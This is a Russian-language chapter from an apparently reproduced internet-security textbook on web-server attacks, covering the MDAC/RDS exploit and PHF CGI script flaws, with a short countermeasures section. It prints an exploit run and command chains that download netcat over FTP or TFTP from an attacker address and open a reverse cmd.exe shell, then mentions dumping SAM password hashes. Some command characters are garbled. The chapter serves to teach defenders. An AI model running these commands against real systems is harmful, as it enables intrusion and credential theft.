Иллюстрированный самоучитель по защите в Интернет

Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода

"Анатомия" атаки

Сценарий Perl можно найти на многих Web-узлах, в том числе в архиве NTBugtraq (http://www.ntbugtraq.com) или на узле компании Security Focus (http://www.securityfocus.com). Он работает одинаково эффективно как в системе UNIX, так и в NT, и предпринимает попытку установить связь с компонентами MDAC, чтобы добавить в запрос SQL строку | shell ($command) |. Когда компонент MDAC достигает команды shell, выполняется команда, заданная в переменной $ command. Для того чтобы убедиться в наличии описанной возможности, попробуйте запустить команду со следующим синтаксисом.

C:\> perl mdac_exploit.pl – h 192.168.50.11
– RDS exploit by rain forest puppy/ADM/Wiretrip--
Command: <run your command here>
Step 1: Trying raw driver to btcustmr.mdb
winnt › c: Success!

Разработка корректной команды для системы NT – непростая задача. Сомил Шах (Somil Shah) и Нитеш Даньяни (Nitesh Dhanjani) вместе с Джорджем Куртцом (George Kurtz) разработали интересную последовательность команд, которые можно загрузить с помощью TFTP или по FTP. В результате будет загружена и запущена утилита netcat, возвращающая обратно командную оболочку системы NT (cmd.exe). Например, с использованием средств FTP можно воспользоваться следующей последовательностью команд:

"cd SystemRoot £& echo $ftp_user>ftptmp
&& echo $ftp_pass"ftptmp
&& echo bin"ftptmp &&
echo get nc .exe"ftptmp
&£ echo bye"ftptmp &£
ftp – s:ftptmp $ftp_ip &&
del ftptmp &&
attrib – r nc.exe && nc
-e cmd.exe $my_ip $my_port"

При использовании TFTP аналогичные команды будут выглядеть следующим образом:

"cd\%SystemRoot\%
&&tftp-i $tftp_ip GET nc.exe nc.exe &S
attrib
-r nc.exe && nc – e cmd.exe $my_ip $my_port"

Применение этих команд в сценарии Perl позволит вернуть командную оболочку удаленной системы, с помощью которой можно будет загрузить любое количество файлов, включая утилиту pwdump.exe (позволяющую получить хэш-коды из базы данных SAM), а затем приступить к взлому с применением утилит L0phtcrack или John v1.6. Если команда оказалась неработоспособной, то, не исключено, что на пути к порту TCP (FTP) с номером 21 или порту UDP (TFTP, 69) целевой системы находится маршрутизатор или брандмауэр.

Контрмеры: защита компонентов МDАС службы RDS

Для того чтобы предотвратить такие атаки, либо удалите все файлы, используемые в этом случае, либо измените конфигурационные параметры сервера.

Изъяны CGI

По-видимому, после переполнения буфера плохо написанные сценарии CGI являются наиболее опасными изъянами в Internet. В электронном мире еще можно найти Web-серверы, разработчики которых экономили время на программировании, а после того, как взломщик пробрался на сервер и навел там свои порядки, пожалели о своей спешке. В этом разделе описано несколько наиболее популярных изъянов сценариев CGI, а также последствия, к которым приводит их использование.

Сценарии PHF

Возможно, одним из наиболее старых и в наши дни редко встречающихся изъянов является сценарий PHF, который изначально применялся на серверах HTTPD центра NCSA (версия 1.5А-Export или более ранние) и сервера Apache (версии 1.0.3). Эта программа CGI является примером сценария, обеспечивающего интерфейс в виде форм, который можно использовать для поиска имен и адресов в адресной книге. Из-за того что в этом сценарии для проверки входных данных используется функция escape_shell_cmd(), он оказывается уязвимым для широко распространенной атаки, при которой обманным путем удается локально запускать команды. Символ новой строки (0х0а в шестнадцатеричной системе счисления) не проверяется при контроле правильности входных данных. Поэтому он может быть использован для прерывания выполнения сценария и запуска любой команды, указанной после этого символа, в локальном контексте Web-сервера. Например, введение следующего адреса URL приведет к извлечению файла паролей, если пользователь, запустивший Web-сервер, обладает правами доступа к этому файлу.

Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.